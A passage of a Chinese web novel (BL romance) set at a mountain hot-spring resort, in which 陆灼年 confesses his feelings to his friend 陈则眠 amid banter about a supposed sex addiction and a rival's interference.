萧可颂很识时务,没有攻击现场唯一支持者,脾气很好地问:“汤泉那边怎么说?” 叶宸说:“已经开始清场了,可以往那边走了。” 兰香亭汤泉是京市有名的高端温泉会所,依托于山林溪流建设而成,整体为古典园林式风格,设施齐全,茶点精致,还有各项养生项目和24小时餐饮服务。 陈则眠四人到的时候,整个会所已清场完毕,进行了全面消杀,甚至连大大小小几十个汤池的水,都专门换过了一遍。 陈则眠几人一下车,左右两排工作人员齐齐躬身问好,排场之大说是皇帝出游也不为过。 陆灼年对此习以为常,在众人引路下走进会馆。 满山梨花开得正好,香气馥郁,偶有清风拂过,落英如雪蹦跹飞舞。 室外错落着好几个大大小小的汤池,别说是泡四个人,就是泡四百个人也不拥挤。 最高处的顶级汤泉前横着一面屏风,所有工作人员都停在屏风外等候传唤。 陈则眠牢记自己狗腿的职责,先安排了茶点饮料,拐进屏风后,另外三个人都已经泡在水里了。 在山中的冷空气和泉水的温差下,薄雾团团升起,亭台楼阁、青山花草在雾气袅绕下掩映生姿,恍若仙境。 水面漂了层花瓣,素洁中又多了份落花流水的凄美。 氤氲的水汽缥缈朦胧,模糊了竹林梨树,也模糊了人影,看不清脸,只能勉强通过身形分辨谁是谁。 陈则眠隐约瞧到萧可颂和叶宸在一边,两个人的距离相对更更近些。 陆灼年独自倚在另一边,显得有些孤单。 陈则眠想都没想,就从靠近陆灼年的那边下了水。 皮肤接触到温泉水的刹那,温热如丝绸包裹全身,整个人瞬间放松下来。 陈则眠舒服得长出一口气。 陆灼年不动声色,默默往后退了退。 陈则眠没看到陆灼年的动作,但听到了流水声。 他微微侧身,抬头看向薄雾中的陆灼年:“怎么了?” 陆灼年摇了摇头。 陈则眠就没再关注别的,专心泡起了温泉。 超差的自制力让他很容易沉溺于各种事情中。 比如说工作起来没日没夜,就想一鼓作气把事情做完,结果穿书前加班到猝死;比如穿越后明知这副身体有胃病,还是毫不忌口,硬是把自己折腾进了医院。其他的事就不——提及了。 这次泡温泉也是一样。 他在温泉中闭目静躺,耳边的风声、水声、落花声无限放大,思绪不断放空,身体在浮力的作用下变得很轻,仿佛连灵魂都飘了起来。 这才是人过的日子啊。 好想退休。 天天做游戏赚那三瓜两枣干嘛呢,躺平跟着少爷们享福不好吗。 萧可颂也向陈则眠表达了这个疑问:“是灼年不给你钱花吗?你干嘛那么努力工作,把身体都熬坏了。” 陈则眠表达了自己的雄心壮志:“那也不能什么都靠陆少啊。” 萧可颂说:“他是你老大,你靠他是应该的,你看你跟我混的时候就没这么多病,肯定是他对你不好。” 陈则眠笑了笑,没说话。 陆灼年冷质的嗓音穿过雾气传来:“萧可颂,他的胃病就是和你一起玩的时候喝酒喝的。” 听到陆灼年忽然叫自己全名,话中指责意味不能再明显,萧可颂瞬间噤声,下意识往叶宸那边靠了靠。 叶宸接过侍者手中浴巾,转头对萧可颂说:“私汤那边红酒池备好了,你要去吗?” 萧可颂正想开溜,闻言如蒙大赦:“去去去。” 陈则眠跟着站起身:“我也….…. 萧可颂给陈则眠使了个眼神:“没听灼年说不许我带你喝酒嘛,你泡什么红酒池?” 陈则眠莫名其妙道:“泡又不是喝。” 萧可颂给陈则眠使了个眼色,揽着他肩膀小声耳语:“别以为我不知道你和灼年的事。” 陈则眠心跳都漏了半拍,哽着嗓子问:“啥事啊。” 萧可颂意味深长地看着陈则眠,沉吟道:“你俩有矛盾了吧。” 陈则眠:"……" 萧可颂自以为看穿一切:“刚才在医院你俩是不是还动手了。” 陈则眠:“额…” 萧可颂见陈则眠支支吾吾答不上来,也没再逼问,只是好心劝道:“有什么话说开就好,灼年要是真跟你计较,你连跟他说话的机会都没有,还能让你给他撩床上?你也是个犟种,有什么事说两句软话过不去,打谁不行你打陆灼年,不要命了。" 陈则眠反驳道:“我没打他!” 萧可颂拍了拍陈则眠肩膀:“你们先自己聊,要是还说不开,我再去替你跟他说。” 虽然萧可颂的猜测和实际情况有所差距,但陈则眠还是大受感动,说:“萧少你真是太够意思了。” 萧可颂摆摆手:“你说这都见外,我先去泡红酒,等会儿在羊奶池等你消息。” 陈则眠都无语了:“我也能泡红酒池!” 萧可颂说了句‘等你病好吧’,然后起身披上浴袍走了。 叶宸和萧可颂在的时候,四个人也都不怎么说话,各待各的互不打扰,却并不觉得空旷寂静。 可他们俩走了以后,整个汤池好像一下子变得很大很静。 每一次轻动的水声都带着回响。 极致的安静下,原本几不可闻的声响倏忽清晰起来。 空气也可以传声、水可以、雾也可以。 心跳声从四面八方围剿而来。 落花声和心跳声交织在一起,陈则眠不知是自己听力太灵敏,还是自己太紧张。 他甚至分辨不出那到底是谁的心跳。 是他自己的、还是陆灼年的。 陈则眠想知道是不是自己的心跳,可是探心口和探颈动脉的动作都太明显了。 他决定摸一摸自己的脉搏。 两只手臂都泡在水里,悄悄探手腕的话不会被任何人发现。 陈则眠右手幅度很轻地动了动,在温热的泉水中摸向自己手腕。 然而,有一只手比他的动作更快! 陆灼年握住陈则眠手腕,指尖不偏不倚,刚好压在他脉搏的位置。 这一下太突然了。 陈则眠毫无防备,整个人都微微一震。 他转过身,看向身后的陆灼年。 陆灼年攥紧掌心那截纤细白净的手腕,喉结滚了滚:“陈则眠,你的心跳吵到我了。” 75、加更 二人在叆逮弥漫的水雾中对望。 像是近在咫尺之间,又像是隔了千山万水。 陆灼年眉眼深黑,乌沉沉的眸子没太多感情,似一对儿千年不化的寒玉珠,有种无机质的非人感。 他悄无声息地靠近,没有发出半点声响,仿佛一只凭空出现的水鬼,猛不丁地抓住了迷失在白雾中的替身,要将他不断不断向水底拖去。 陈则眠突然被抓住手腕,自然是吓了一跳,心跳得更快了。 陆灼年作为原书中独一无二的绝对男主,皮囊自然也是万中无一。 他俊伟、雄健,充满了男性荷尔蒙气息。 清风拂过山岚,竹叶婆娑,梨花飘落。 陆灼年就这么站在池水中央,面前簌簌落下的花瓣好似飞雪,身后萦绕的水雾空蒙奇幻,昭昭雾气凝结成水珠,自他英俊 的颊边滑落,顺着脖颈一 路向下,降落未落地挂在锁骨处,随着呼吸轻轻滚动。 紧致结实的肌肉犹如刀刻斧凿,每一块都是最完美的黄金比例。 “看什么呢?” 陆灼年拇指在陈则眠手腕上轻轻一按,声音在胸腔中振出充满磁性的共鸣:“好看吗?” 陈则眠‘嗯''了一声,说:“好看,比男模还好看。" “你拿我跟男模比?”陆灼年简直都气笑了,抬手轻轻拍了拍陈则眠脸颊:“什么时候点的男模,我怎么不知道。” 陈则眠吸了吸鼻子:“没点,有时候刷短视频会刷到。” 陆灼年嘴角不是很明显的微微抿起,掩去唇边笑意:“短视频推送都经过大数据测算,怎么会无缘无故给你推荐男模。” 陈则眠很坦诚地摇摇头:“我也不知道。” 陆灼年语气淡淡:“可能跟你收藏的网址有关。” 陈则眠问什么网站,陆灼年说了个域名。 听到那个域名,陈则眠脸腾’的一下红了。 这是他当初研究片子时,翻越层层网站,最后找到的那个网址域名! 当时找网址找得实在太难,找到后陈则眠顺手就收藏了,也忘了取消,一直就这么躺在他收藏夹里。 可问题是陆灼年怎么会知道?! 陈则眠猛地反应过来—— 是那个自动发消息的小程序干的! 小程序会自动抓取陈则眠点赞、收藏过的网址链接,随机分享给陆灼年。 之前陈则眠在购物软件上收藏了一款游戏机,小程序就自动分享给陆灼年了,陆灼年随手就下单买了。 陈则眠无意间发现了小程序‘妙用’,就没彻底关闭小程序,只是调整降低了打卡频率,想着如果下次再有什么想买又不舍得买的,可以通过这种方式分享给陆灼年。万万没想到!贪小失大! 陆灼年垂眸注视着陈则眠,问他:“你看那些东西干什么?” 陈则眠不知如何回答。 他不自觉地开始往水里藏,整个人一点点沉下去,只露一双眼睛在外面,用嘴咕噜噜的出气吐泡泡,深刻传达出‘你再逼问我,我就把自己淹死在这里′的崇高气节。 “别躲,” 陆灼年直接把陈则眠从水里拽了出来,又问了他一遍:“你为什么要看那些?” 陈则眠说:“我就是看看。” 陆灼年:“然后呢?” 陈则眠如实道:“没有然后,我看完就觉得好恶心,还吐了。” 陆灼年若有所悟:“是那天。” 是他性瘾发作的次日,陈则眠吃完中午饭吐的那天。 也是从那日起,陈则眠开始躲着他,想方设法找借口不回家了。 原来是看了那些脏东西吓到了。 前因后果串联在一起,结合成一道完整的因果线,所有的疑惑都迎刃而解。 陆灼年悬着的心缓缓落地,又好气又好笑。 陈则眠见陆灼年但笑不语,恼羞成怒,一拳捶在陆灼年肩膀:“不许笑!” 陆灼年垂眸看向陈则眠,说:“别怕。” “谁怕了?”陈则眠梗着脖子否认:“我就是觉得有点恶心。” 陆灼年说:“那为什么要看。” 陈则眠皱了下鼻子:“因为……因为你的行为需求会不断提高啊,万一有一天用其他的都满足不了你了呢?” 陆灼年心跳漏了半拍:“那我也不会强迫你,做你不能接受的事情。” 陈则眠飞快看了陆灼年一眼,在心里暗自嘀咕:你确实没强迫我,但是我一爽就什么都忘了。 就像用嘴那回一样,陆灼年先给他来了一次,陈则眠的‘不行’就碎成了渣渣。 不过如果嘴的事能相互,那其他的事是不是也能相互呢? 陈则眠猛地摇摇头。 不对不对,他怎么能想这些呢。 底线啊陈则眠,快把底线找出来,少想什么嘴不嘴的事,多想想那个令人作呕的片子。 平心静气、清心寡欲。 陈则眠心慌意乱,仓皇地移开视线。 这一低头,目光却正好落在陆灼年胸膛上。 胸肌轮廓线条绝佳,肌肉分布匀称,充满力量感又不过分夸张,浑身散发着强悍的性张力,肤色却是冷白的,犹如最上乘纤薄的瓷器。 两种截然相反的观感对撞在一起,将反差感拉到极致,让人看了就移不开眼。 这种美是超越了性别的。 温泉蒸腾的水气缓缓升起,浸润了陆灼年英挺淡漠的面庞。 长空万里,青山婀娜,竹林和梨花都沦为背景,他像是山水画卷中凝结出来的画魂,俊美得令人窒息。 陈则眠喉结滚了滚,本就不坚牢的底线开始松动。 陆灼年气宇轩昂、风姿卓群,即便是赤着上身站在温泉里,也不显丝毫轻浮粗俗,反而有种君临天下的孤高。 即便身患性.瘾,陆灼年身上也没有半分□□感,依旧是冷冷清清、矜贵高傲。 完全不同于片子中两个人颠鸾倒凤时的黏稠油腻。 陆灼年给人的第一印象是贵重。 第二印象是干净。 他看起来总是香香的。 所以如果是和陆灼年一人一次的话,好像……好像也还、也还行? 陈则眠心跳越来越快。 陆灼年不知陈则眠在想些什么,却听到了他的擂鼓般心跳,低声问他为什么心跳会这么快。 陈则眠不敢说自己为什么心跳会这么快。 陆灼年态度越温和,他大脑就越迷糊,差点就脱口而出,提议可以一人一次试试看了。 陈则眠觉得自己泡大概是温泉泡得缺氧,可能都有点神志不清了,赶紧抓起托盘上的茶杯,猛灌了两杯茶水降火。 喝完茶水,才感觉自己清醒了些,正要接着说如何给陆灼年治病的事,见服务人员绕过屏风进来添茶,就止了语没继续往下说。 服务人员添了茶,又端上新制的点心,半跪池边温声低语:“陈先生,外面有位姓郑的先生要见您,让他进来吗?” 陆灼年抬了抬眸。 姓郑,还能来找陈则眠的,除了郑怀毓也没别人了。 陈则眠披上浴袍,走出汤池:“我去看看他有啥事。” 陆灼年若无其事道:“不是说你在养病,让刘越博先带着他吗?” “刘越博太丑,”郑怀毓人未到,声先至:“我不想跟那些丑东西玩,还是看点养眼的。” 服务人员没想到郑怀毓直接就进来了,当即起身去拦。 可她又哪里拦得住。 修长高挑的身影拨开白茫茫的雾气,绕开错落有致的温泉汤池,踏着满地梨花款款而来。 两个汤池间隔着一道鎏金掐丝的珐琅琉璃屏风。 屏风面是雾面琉璃所制,琉璃面隐隐绰绰犹如隔雾看花,看不清细微动作,但能隐约瞧见人影。 郑怀毓停在屏风前,彬彬有礼道:“泡汤泉这么雅致的事情竟然不叫我,你都没有把我当朋友。” 陆灼年语调不咸不淡:“你们才认识两天,他不把你当朋友很奇怪吗?” 郑怀毓说:“我就是在和你说话,陆少爷,我和你都认识十几年了,还是远房亲戚呢。” 陆灼年眼皮都没抬:“那你有什么事,远房亲戚?” 郑怀毓轻描淡写道:“我是陈总秘书,就该跟着老板。” 陈则眠系好浴袍,绕过屏风:“你不用跟着我,我不是让那刘越博带你玩了吗。” 郑怀毓不悦地蹙起眉:“都说了他太丑。” 陈则眠说:“人家哪儿丑了,我觉得他挺帅的。” 郑怀毓表示不能理解:“哪里帅?” 陈则眠想了想:“个子高,长得也挺周正的。” “这就是帅了?”郑怀毓对此极不赞同:“你对男生的要求可真低。” 陈则眠:"…" 四月的天气不算完全回暖,温泉池建在山上就更凉了,虽然有水汽蒸腾的温度,但这么站在外面还是挺冷的。 陈则眠拢了拢浴袍,拿出手机,又给郑怀毓看了薛铎的照片:“那让他带你玩两天行吗?” 郑怀毓靠过来,挑剔地端量了两秒:“这个总算有点人样,但比你差太多。” “选妃呢你,男的有什么可挑的,"陈则眠闻到郑怀毓身上的香味,气管受到刺激,咳嗽了两声,斟酌着用词委婉道:“你下次来找我能少喷点香水吗,我有哮喘,咳咳咳。" 郑怀毓奇怪地看了陈则眠一眼:“我没喷香水。” 陈则眠愣了愣:“那你身上咋这么香?”郑怀毓把起衣领,低下头矜贵地轻轻闻嗅:“洗衣液的味道吧,我回去让他们换一款洗衣液。”陈则眠不信洗衣液能这么香,也凑过去闻了一下。这也太香了!郑怀毓衣领和胸膛间体温蒸起一阵浓郁的香气,顺着陈则眠鼻腔直冲天灵盖。仿佛打翻了胭脂粉,呛得人头都晕了。“咳咳咳咳咳。”陈则眠忽然咳嗽起来,一个没站稳,撞到了郑怀毓身上。郑怀毓扶住陈则眠,眸光流转,计上心头。他向后一仰,直接往身后的汤池倒去。陈则眠没想到自己竟然把人撞摔了,赶紧伸手去拉郑怀毓。陈则眠反应很快,力气也大,其实已经把人拽住了,但耐不住有些人故意想往水里落,终究是没敌过后仰的重力和地心引力,和郑怀毓一起掉进了温泉里。霎时水花四溅,‘哗啦’一声水响。 与此同时,屏风后面的陆灼年霍然起身。 76、第76章 温水没顶的刹那,陈则眠闭上眼睛,屏住呼吸。 服务人员惊呼:“陈先生!” 陈则眠不会游泳,虽然身手灵活,可一进了水就不知道怎么动了,伸手摸索着想要扶个什么东西站起来。 郑怀毓拖着陈则眠手臂,把他拽了起来。 陈则眠吐出一口水:“你没事吧。” 郑怀毓笑了笑,莞尔道:“吸气。” 陈则眠:"?" 下一秒,郑怀毓捏着鼻子往水里一沉,像条鱼似的消失了。 这人在搞啥? 陈则眠还没弄明白郑怀毓去哪儿了,忽然感觉水下有人拽住了他的脚腕,接着一阵大力袭来,整个人瞬间被拉了下去。 卧槽,原来是在搞我! 郑怀毓沉在水里,从背后虚揽着陈则眠。 陈则眠睁开眼,吐出一串气泡,略微转过头,诧异地看向郑怀毓。 郑怀毓指了个方向让他看。 幽蓝温热的泉水中,一道矫健的身影破水而来。 是陆灼年。 陆灼年在水中找到了陈则眠,抓住他手腕,把人从郑怀毓手里抢了出来,带着他不断向上游去。 极致的安静中,陈则眠听到了鼓动的心跳。 水声响起,两个人浮出水面。 两次落水出水接连发生,前后甚至不超过一分钟。 短短几十秒时间内变故横生,陈则眠惊魂未定,靠在陆灼年怀中极速喘息。 陆灼年眼中是从未有过的焦急,捧起陈则眠的脸,问了句什么。 陈则眠还有点懵,没听清陆灼年说什么。 看口型应该是问他有没有呛水。 陈则眠下意识摇了摇头。 郑怀毓也从水里钻了出来,屈臂倚在池边,似笑非笑地望着陆灼年。 陆灼年强压心底怒火,以一种强势的姿态揽着陈则眠,将人霸道地勒在怀里,冷冷地看了郑怀毓一眼。 郑怀毓不动声色地挑起眉梢:“陆少忘了?我可是游泳冠军,这么浅的水,淹不到你的陈则眠。” 陆灼年面寒如铁:“郑公子是运动健将,怎么连站都站不稳了。” 郑怀毓抹去脸上水珠,话外有话:“有些东西站在岸上看不清,要进水里才更明显。” 陆灼年唇角抿成直线,不悦道:“他不会游泳。” “他又不是棉花糖,难道还能掉进水里就化了不成?”郑怀毓懒洋洋地往后一靠,洞若观火道:“你急什么。” 陈则眠倒完耳朵里的水,前面的话没听着,只听见了这句‘你急什么'',心尖微微一动,抬头看向陆灼年。 是啊,他摔进汤池,陆灼年急什么呢。 且不说这汤池里的水最深只到胸口,一起掉下来的还有郑怀毓,周围又有这么多工作人员,怎么也不可能让他淹死在这儿。 明明怎么看都是有惊无险的突发事件,近处的工作人员都没反应过来,陆灼年和他们还隔着道屏风,又在另外的汤池里,竟然这么快就赶到了。 他是知道自己不会游泳吗? 为什么要这么着急。 陈则眠轻轻拽了陆灼年一下,问他:“你怎么知道我不会游泳?” 陆灼年神情冷肃,低头回看他的刹那,眸光里却藏着不易察觉的关切。 陈则眠心跳停了半拍:“我好像没跟你说过。” 陆灼年说:“猫都怕水。” 陈则眠:"???" 三陆灼年眼中划过一丝淡淡的笑意,说了两个字提醒他:“浴缸。”答案虽然只有两个字,但陆灼年的眼神和语气中仿佛又暗藏着另一层意思——你掉进浴缸里都慌里慌张的,摔进汤池里肯定更害怕。 陈则眠不知道这是不是自己在过度解读。 他只知道他又开始紧张了。 比一脚踩空,掉进汤池里的瞬间还要紧张。 郑怀毓依旧是管杀不管埋,扰乱两个人心绪后优雅退场:“陈总,真是抱歉,我刚才没站稳,打扰了你的兴致。” 陈则眠满脑子都是陆灼年眼中焦急的神情,鬼使神差般沉默半秒,没提郑怀毓又把他拽进水里的事,只是说:“没关系,本来也是我把你撞摔的。” 郑怀毓意味深长地感叹道:“还是你和陆少会享受,这汤泉泡着可真是身心舒畅。” 陆灼年瞥了郑怀毓一眼。 陈则眠听出郑怀毓的言外之音,把手卡递过去:“今天叶少在这里包场,郑公子既然来了,就留下一起玩吧。” 郑怀毓搅混了池水也看够了热闹,当不会再留下碍事,随手拽了条浴巾披上。 风度翩翩,转身离去。 陈则眠好歹送走了郑怀毓,赶紧泡回了自己汤泉里。 两个汤池距离不远,但湿漉漉的走过去,山风一吹还是挺冷。 陈则眠脱下湿透的浴袍,缩进温泉里取暖。 陆灼年把热浴巾披在陈则眠肩头:“郑怀毓没安好心,你们在水里的时候,他没对你做什么吧。” 陈则眠心不在焉:“没。” 陆灼年垂眸盯了陈则眠两秒:“想什么呢?” 陈则眠也不知自己在想什么,听陆灼年这么一问倒有点奇异的心慌,回过神随口道:“咱们说到哪儿来着,郑怀毓突然过来,把我的思路都打乱了。” 陆灼年眉梢轻动:“说到治病。” 哦,对,治病。 陈则眠续上了思绪:“我刚才想说的是,既然决定治病,就不能半途而废。” 陆灼年问:“什么叫半途而废。” 陈则眠想到陆灼年刚刚焦急的眼神,觉得对方既然如此关心自己,他也不能在关键时刻掉链子。 陆灼年能为他挺身而出,他也应该投桃报李,这才是有来有回。 于是,陈则眠下定决心般地说:“就是治好啊。” 陆灼年顿了顿:“要是治不好呢。” 陈则眠飞快地看了陆灼年一眼:“你要是接受不了别人,那我就一直陪你治,你需求别升级那么快,行不行。” 闻言,陆灼年微不可察地怔忪片刻。 这句话包含的信息量不大,但背后的深意耐人寻味。 漫长的迷雾中,陆灼年终于找到些许线索,隐约窥见了自己在陈则眠心中的位置非同一般。 陈则眠本来也不是什么言出必行的人,说话不算话是常有的事。可即便如此,他还是没把话说绝,明明看片子都能把自己看吐,却也没有直接对这件事说‘不可以'',而是说‘别太快’。 陆灼年眼眸微垂:“陈则眠,我不要别人。” 陈则眠低下头,说:“那也行吧。” 陆灼年声音很轻,问他:“什么叫也行。” 陈则眠含混道:“如果真到了其他方式都满足不了你的那天,就只能这样了。” 陆灼年睫稍轻轻一动:“那天是哪天?” 陈则眠忍不住推了陆灼年一把:“我说了还有其他方式!你不要满脑子都想着做,我接受也需要时间的好吗。” 陆灼年又把眼睛低了下去:“没关系,权力都在你手上,你要是真的接受不了,不做也可以。” 陈则眠:“做不是重点,重点是要循序渐进地调节你的需求。” 陆灼年问:“怎么调?” 陈则眠也不知道怎么调,这本来就是他为了拖延现编的:“反正就是不能现在做,要医生都说了你的需求会逐渐升级,是现在就做完了,下次还拿什么满足你。”陆灼年说:“我也没有那么不知足。” 陈则眠轻咳道:“我不是不跟你做,但是要缓做、慢做,有计划、有策略地做。等有时间,咱们可以碰一个诊疗计划出来。” 陆灼年思索几秒:“在决定诊疗计划之前,我有另一件事要问你。” 陈则眠:“你说。” 陆灼年沉默半晌,突然开口:“你是不是感觉到了。” 陈则眠端着茶看过来:“感觉到什么?” 陆灼年言简意赅:“感觉到我对你有意思。” 陈则眠手指陡然一松,茶杯 吧唧′一声落入水面,缓缓沉入池底。 他震惊地看着陆灼年,恍惚片刻,失语道:“你说什么?” 陆灼年用极为笃定的语气说:“你不懂吗。” 陈则眠眼神放空了一瞬:“不太确定,你能展开说说吗?” 陆灼年不答反问:“你对我有意思吗?” 陈则眠没经任何思考,脱口而出:“没有,不可能有,怎么能有?我们是好兄弟!” 陆灼年忽地笑了,说:“你看你明知道‘有意思′代表什么,陈则眠。” 陈则眠好像是明白了,但更多的是不明白。 陆灼年为什么会对他有意思呢? 难道是满意他治病的手法? 那种超乎寻常的愉悦和爽快,确实很抗拒绝,陆灼年作为一个性瘾患者,会觉得那事儿有意思也很正常。 陈则眠试探着问:“你是觉得和我互助有意思吗?” 陆灼年很轻很轻地叹了口气,说:“我是对你这个人有意思,和治病、互助都没关系。” 听到这话,陈则眠的心陡然悬起。 他又想逃了。 如果他穿的是棉服,现在脑袋应该已经扎进了衣领里,如果他穿的是卫衣,也可以把帽子扣起来盖住脑袋。 可惜他现在正在泡温泉,上身什么都没穿,不能用衣服把自己挡起来,只能又开始往水里藏。 “沉进水里就能逃掉了吗?”陆灼年拉住了陈则眠的胳膊:“你又不会游泳。” 陆灼年知道陈则眠会回避,但他既然决定说了,就不会有始无终。 今天或许不是一个好时机。 但对于向陈则眠表白这件事情,无论准备得再充分,都很难做到游刃有余。 可陈则眠想要帮他治病的态度太坚决了,甚至不惜用自己吃药来威胁他,这份感情远远超过了普通的兄弟情义。 叶宸是他的好兄弟,萧可颂也是他的好兄弟,他们三个从小一起长大,是能够相互信任与托付的生死之交,但也没有谁会为了他帮治病,而以自己做药。 甚至不顾自己的身体,以服用帕罗西汀来威胁陆灼年不许滥用药物。 况且陈则眠在明确表示对男性之间性行为的厌恶之后,仍愿意帮他治病,所提要求也并非全然拒绝,只是说升级太快。 陈则眠作为一个天然的直男,从来没有往超出友情的方面想过,也还没有意识到他们之间感情的变化。 之前陆灼年看不清陈则眠的想法,如今终于初见端倪,自然要将一切都交代明白。 “有些事早该说清楚了,” 陆灼年声音沉稳,带着几分不容置疑的强势:“就算你以前不知道,今天也都知道了,可以考虑一下吗?陈则眠。” 考、考虑一下?考虑什么啊? 听到陆灼年的话,陈则眠完全愣住了。 他只是迟钝,又不是真傻,对方都把话都说到了这个份上,纵然再难以置信,也找不到理由来说服自己是什么歧义与误会了。 ''对他有意思′的意思就是对他有好感! 陆灼年!对一个男人!有好感! 这个结论对陈则眠的冲击力实在太大,因为这不仅颠覆了他固有认知,更违背了和原书运行的底层逻辑。 陆灼年可是男频主角啊! 原书整个世界观中,异性恋是默认的基础设定,书中所有男性角色,无论是正派还是反派、大哥还是小弟,就没有一个对男人有意思。 剧情正在以陈则眠想象不到的方式、朝着他想象不到的方向迅速崩塌。 说好的为兄弟两肋插刀,怎么就变成插兄弟了? 这不好吧。 我宁愿背后捅我的是刀子! 陈则眠委婉且强烈地向陆灼年表达了自己的想法:“我觉得这样不好。” 陆灼年给足了陈则眠时间思考,即便得到了不好’的回答,神色也没有丝毫变化,只是问:“哪里不好。” 陈则眠用奇异的眼神看向陆灼年,脸上写满了‘这还用问?当然哪里都不好’。 陆灼年像是没读懂陈则眠的表情,安静而耐心地等待一个准确的回答。 生死关头,陈则眠智商达到个新高度,思绪飞速运转,自发替陆灼年找好了理由。 陈则眠语速飞快:“你说过多巴胺和内啡肽会驱使人追逐愉悦,性.满足和谈恋爱都会大量分泌多巴胺,带来强烈的愉悦感和幸福感相似,同样都让人沉溺依赖,你一定是弄混了。” 陆灼年对此给予了高度评价:“听起来有理有据,条理清晰。” 陈则眠松了一口气:“激素会影响情绪,大家都会有上头的时候,冷静下来就好了。” 陆灼年气定神闲:“所以你也有上头的时候。” 陈则眠:"???" 这对吗? 我说了这么多,你就听见了这一句? 陈则眠瞪向陆灼年:“你不要只捡自己想的听!” 陆灼年轻笑一声:“好,那就说点别的,你说性满足和谈恋爱都会带来愉悦和幸福感,一切都是多巴胺激素异常分泌带来错觉。” 陈则眠点点头。 陆灼年逻辑严谨道:“支撑你理论的依据从何而来?你又不能体会到我的感受,只能推己及人,是用你的感受代入我来分析的,对不对?” 陈则眠说:“对。” 陆灼年:“所以你的这套说辞,究竟是证明了我弄错了对你的心思,还是自证了你担心自己沉溺其中,因欲生情?” 陈则眠瞳孔微微扩散,而后陡然收缩,用惊骇眼神看着陆灼年,像是辩论场上一败涂地的辩手,完全被代入了对方的节奏,一句驳斥的话也说不出来。 妈的,陆灼年这个脑子什么结构组成的,怎么反应得这么快! 陈则眠说了半天,没把陆灼年绕进去,反而把自己内心的想法泄露个彻底。 那是他自己都没有彻底盘清的逻辑。 而陆灼年居然通过短短几句话,直接看穿陈则眠模糊混沌的内心,点明了他逃避的真实原因—— 他根本不是怕陆灼年混淆了多巴胺大量分泌的原因,而是怕自己分不清对陆灼年是欲是情! 陆灼年看向陈则眠,目光从上而下投过来,如云雾般拢来:“陈则眠,你对我是情也好,是欲也罢,我都能够接受。” 陈则眠心头微震:“都能接受?为什么?” 陆灼年眼神浩渺辽阔,仿佛能容纳下他所有的不安和踌躇:“我们还有很多很多时间,你总有一天能想明白的。” 陈则眠抿了下嘴唇:“要是我一直想不明白呢。” 陆灼年说:“那也没关系。” 陈则眠:“为什么?” 陆灼年笑了笑,说:“因为我真的很喜欢你,陈则眠。” 77、第77章 听到陆灼年说喜欢,陈则眠先是一愣。 紧接着的反应就是躲。 他是属鸵鸟龟的,一遇上无法回答的问题就想把自己藏起来。 仿佛只要躲开陆灼年的视线,就能逃避现实、掩耳盗铃。 可今天他被困在了水里,避无可避,孤立无援。 于是他只能诚挚地祈祷陆灼年是在开玩笑。 他只想和陆灼年做朋友,从没想过发展任何别的关系。 那种关系太未知、也太不稳定了。 陆灼年现在觉得他有意思,说喜欢他,那要有一天觉得他没意思了、或者遇见了更有意思的人,又不喜欢他了,他该怎么办? 有过感情、动过心之后,再想退回去做朋友简直是天方夜谭,而且就算他想退回去,陆灼年会愿意退吗?周围的人又会怎么看他们? 不可能回到从前的。 可如果拒绝了陆灼年,他们没准现在就得掰。 有些话一旦说出来,彼此就都再也没有回头的路可走了。 所以听到陆灼年说喜欢他的刹那,陈则眠下意识就觉得‘不行、不可以''。 除非这是个笑话,否则他们以后会很尴尬,再也没办法像从前一样,一起住一起玩一起相互帮助。 这太糟糕了。 糟糕到令陈则眠难以接受。 只要能让陆灼年收回刚才的话,陈则眠愿意付出任何代价,差点就要表示现在上床也行了。 反正就是怎么都成,就是别谈什么喜欢不喜欢的就好。 至于为什么不能谈,陈则眠也说不上来,就是觉得只要越过朋友这条线,一切就全变了,全完了。 陈则眠琢磨了一会儿,又隐隐觉得不大对劲。 陆灼年刚才还说只是对他有意思,怎么这会儿又变成喜欢了。 这也太快了吧。 他觉得自己必须说点什么,否则没准一会儿喜欢就变成爱了,爱又变成一见钟情、山盟海誓、地老天荒可怎么办。 陈则眠灵机一动,突然反应过来—— 真喜欢还是假喜欢啊。 不会是现编的吧! 否则怎么早不说晚不说,他才松口同意将来可以做,陆灼年就忽然喜欢上他了。 这哪里是喜欢他啊,这是喜欢做! 陈则眠恍然大悟。 惊怒之下,他又不自觉松了口气,但为了表明态度,还是猛地抓起托盘上的毛巾,抬手朝陆灼年砸了过去。 陆灼年下意识侧头避开,毛巾几乎擦着他鼻尖掉进了温泉里,砸起了好大一片水花。 脸上传来点点温热,陆灼年闭了闭眼,水珠顺着凌厉的眉峰滑落,似坠非坠地挂在睫毛上。 陈则眠指了指陆灼年:“你真行。” 陆灼年屈指抹去眼皮上的水珠:“你完全有权利生气,但你既然把‘为我治病’这件事提上了议程,还制定阶段性的诊疗计划,我就必须得让你知道我对你的感情,否则这和骗你发生关系有什么区别。" “说得好听,”陈则眠声音扬得很高,有种空泛的怒意:“但你现在讲这些,就是想骗我和你睡。” 陆灼年不知道别人表白之后得到的反馈是什么,但仅凭生活经验推断,现在这样显然是不正常的。 他知道陈则眠思维跳跃,但没想到关注的重点能歪到这个地步。 好在陆灼年足够理性,可以顺着陈则眠的思路往下捋。 陆灼年:“你刚才都已经答应了缓做、慢做,如果我是为了这件事,现在什么都不说,等下次性瘾发作的时候,直接提出要求不就可以了吗?” 陈则眠明察秋毫,真知灼见:“那是因为你根本不想缓,也不想慢,你就是想现在做!” 陆灼年:“……” 陈则眠有理有据,思路清晰:“你刚才说对我有意思的时候,我还差点信了,结果没说两句话,‘有点意思’就变成了‘真的很喜欢'',自己听着不离谱吗。”陆灼年觉得自己再离谱也没有陈则眠离谱。 “我什么时候说‘有点′了,陈则眠,” 陆灼年缓缓深吸一口气:“你不要断章取义,更不要添油加醋好吗?” 陈则眠抱臂道:“那你觉得是‘有意思’和‘有点意思’差别大,还是‘有意思’和‘很喜欢''差别大。” 陆灼年向来沉稳冷静,情绪稳定,本身就不是一个很易怒的人,况且几小时前吃的帕罗西汀药效正浓,甚至还没有到达半衰期,情感冷漠的副作用并未消退。 在性格与外力的双重作用下,感性的一面几近于无,冰冷得犹如一台机器,大脑几乎处在绝对理智的状态中。 可即便如此,陈则眠还是能轻而易举地挑动陆灼年的情绪。 看到陈则眠吃帕罗西汀的时候,陆灼年就难以自控地产生了情绪波动。 现在明明是在跟陈则眠表白,却还是能被气到,不仅无法平心静气地讲道理,甚至还想和陈则眠大吵一架。 陆灼年还在努力平复心情,陈则眠却以为是自己戳穿了陆灼年的诡计,令陆灼年无话可说了。 